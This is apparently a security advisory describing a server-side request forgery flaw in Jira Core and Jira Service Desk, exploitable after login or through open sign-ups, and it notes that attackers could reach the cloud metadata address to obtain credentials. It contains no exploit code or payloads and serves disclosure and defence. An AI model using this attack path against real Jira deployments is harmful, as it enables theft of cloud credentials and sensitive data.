Description

Jira Core & Jira Service Desk are vulnerable to server-side request forgery after authenticating. In some cases, it is possible to leverage open sign ups in Jira Core or Jira Service Desk to exploit this server-side request forgery flaw without having known credentials.

Impact

The SSRF vulnerability allows attackers to send HTTP requests using any HTTP method, headers and body to arbitrary URLs. When Jira is deployed on a cloud environment, an attacker can leverage this exploit chain to obtain cloud credentials or other sensitive information through the metadata IP address.
